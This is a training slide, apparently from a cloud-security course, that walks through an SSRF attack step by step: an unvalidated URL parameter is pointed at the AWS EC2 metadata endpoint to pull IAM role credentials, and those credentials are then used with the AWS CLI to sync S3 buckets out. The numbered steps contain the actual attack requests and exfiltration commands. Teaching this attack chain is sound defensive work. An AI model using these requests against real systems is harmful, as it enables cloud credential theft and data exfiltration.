Slide 10 of 28
Part 2 · How It WorksSlide 10
Slide 10 · Pattern 1 Mechanics
SSRF → Metadata Endpoint → IAM Credentials → Cloud Account Access
Step by step: how one URL parameter becomes full AWS account access.
THE SETUP
An API with a URL-fetching feature running on AWS EC2

The API has an endpoint: POST /api/import?url=https://example.com/data.csv

The EC2 instance has an IAM role attached: app-production-role with permissions: s3:GetObject, s3:PutObject on arn:aws:s3:::company-data-*

The API accepts any URL. No validation. No allowlist.

1️⃣
Attacker sends: POST /api/import?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The API server makes an outbound HTTP GET to the metadata endpoint. The metadata service returns the role name: app-production-role
2️⃣
Attacker sends: POST /api/import?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-production-role
The metadata service returns JSON: AccessKeyId, SecretAccessKey, Token, Expiration. The API returns this response to the attacker.
3️⃣
Attacker configures AWS CLI with the stolen credentials
AWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
4️⃣
Attacker runs: aws s3 ls and aws s3 sync s3://company-data-prod ./stolen/
Downloads all S3 objects the role can access. The role was meant for the application — but the attacker now has the same access from anywhere on the internet.
← Back Capital One deep dive →